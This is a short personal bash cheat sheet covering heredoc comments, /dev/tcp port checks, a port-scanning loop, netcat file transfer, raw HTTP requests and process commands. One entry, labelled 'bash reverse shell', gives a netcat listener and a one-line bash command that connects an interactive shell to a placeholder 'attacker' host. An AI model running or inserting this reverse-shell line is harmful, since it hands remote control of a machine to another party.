bash.cheat

%  bash ,pushou

# comment bash
<< COMMENT1
 this is a COMMENT1
 bla..
COMMENT1


# bash socket
timeout 0.5 echo -n 2>/dev/null < /dev/tcp/127.0.0.1/7777 && echo "open" || echo "closed"

# bash k8s
kubectl exec -it svc/random-service -- bash
$ echo < /dev/tcp/other-service.namespace.svc.cluster.local/7777 && echo "open" || echo "closed"

# bash scanner
for port in {1..8888}; do
  echo -n 2>/dev/null < /dev/tcp/127.0.0.1/$port && echo "$port/tcp open"
done

# read the time
cat < /dev/tcp/time.nist.gov/13

# file transfer
nc -lvnp 7777 < file.txt
cat < /dev/tcp/sender/7777 > file.txt
cat file.txt > /dev/tcp/receiver/7777

# bash reverse shell
nc -lvnp 7777
bash -c 'bash -i >& /dev/tcp/attacker/7777 0>&1'

# bash nc scan
sudo nc -zvw 1 localhost 1-1000|grep -v failed

# bash http request
exec 5<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n" >&5
cat <&5

# ps
ps -faux

# pgrep list process name
sudo pgrep -u tpot -l
sudo pkill -HUP  -u tpot Suricata-Main

$ IP_VERSION: echo '4 6' | tr ' ' '\n'